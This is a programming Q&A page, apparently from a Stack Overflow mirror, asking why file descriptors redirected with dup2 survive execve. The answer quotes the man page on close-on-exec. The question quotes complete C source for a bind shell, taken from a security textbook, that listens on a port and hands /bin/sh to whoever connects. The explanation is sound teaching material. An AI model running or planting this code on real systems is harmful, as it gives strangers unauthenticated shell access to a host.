Search code examples
clinuxsocketsfile-descriptorexecve

Why creating a remote shell using execve doesn't overwrite file descriptors and socket?


So I've got this code from Gray Hat Hacking: The Ethical Hacker’s Handbook, Fourth Edition :

#include<sys/socket.h>                 // libraries used to make a socket
#include<netinet/in.h>                 // defines the sockaddr structure
int main(){
        char * shell[2];               // prep for execve call
        int server,client;             // file descriptor handles
        struct sockaddr_in serv_addr;  // structure to hold IP/port vals
        server=socket(2,1,0);   // build a local IP socket of type stream
        serv_addr.sin_addr.s_addr=0; // set addresses of socket to all local
        serv_addr.sin_port=0xBBBB; // set port of socket, 48059 here
        serv_addr.sin_family=2;   // set native protocol family: IP
        bind(server,(struct sockaddr *)&serv_addr,0x10); // bind socket
        listen(server,0);         // enter listen state, wait for connect
        client=accept(server,0,0);// when connect, return client handle
        /*connect client pipes to stdin,stdout,stderr */
        dup2(client,0);                // connect stdin to client
        dup2(client,1);                // connect stdout to client
        dup2(client,2);                // connect stderr to client
        shell[0]="/bin/sh";            // first argument to execve
        shell[1]=0;                    // terminate array with null
        execve(shell[0],shell,0);      // pop a shell
}

According to execve man page:

execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.

So shouldn't the return value of socket(), which -if I understood it well-, is a file descriptor, be overwritten?
And shouldn't redirection of file descriptors stdin, stdout and stderr be reset to default values? If so, how could this program work?
I probably missunderstood something in about the execve() function, or about file descriptors. Or maybe I totaly missunderstood socket() function. Aren't file descriptors stored either into the stack, either into bss section?


Solution

  • File descriptors are not closed when a new program is executed via one of the exec functions. If they were, there would be no way to attach stdin / stdout / stderr in a terminal to the proper places.

    You missed the following paragraph:

    By default, file descriptors remain open across an execve(). File descriptors that are marked close-on-exec are closed; see the description of FD_CLOEXEC in fcntl(2). (If a file descriptor is closed, this will cause the release of all record locks obtained on the underlying file by this process. See fcntl(2) for details.) POSIX.1 says that if file descriptors 0, 1, and 2 would otherwise be closed after a successful execve(), and the process would gain privilege because the set-user_ID or set-group_ID mode bit was set on the executed file, then the system may open an unspecified file for each of these file descriptors. As a general principle, no portable program, whether privileged or not, can assume that these three file descriptors will remain closed across an execve().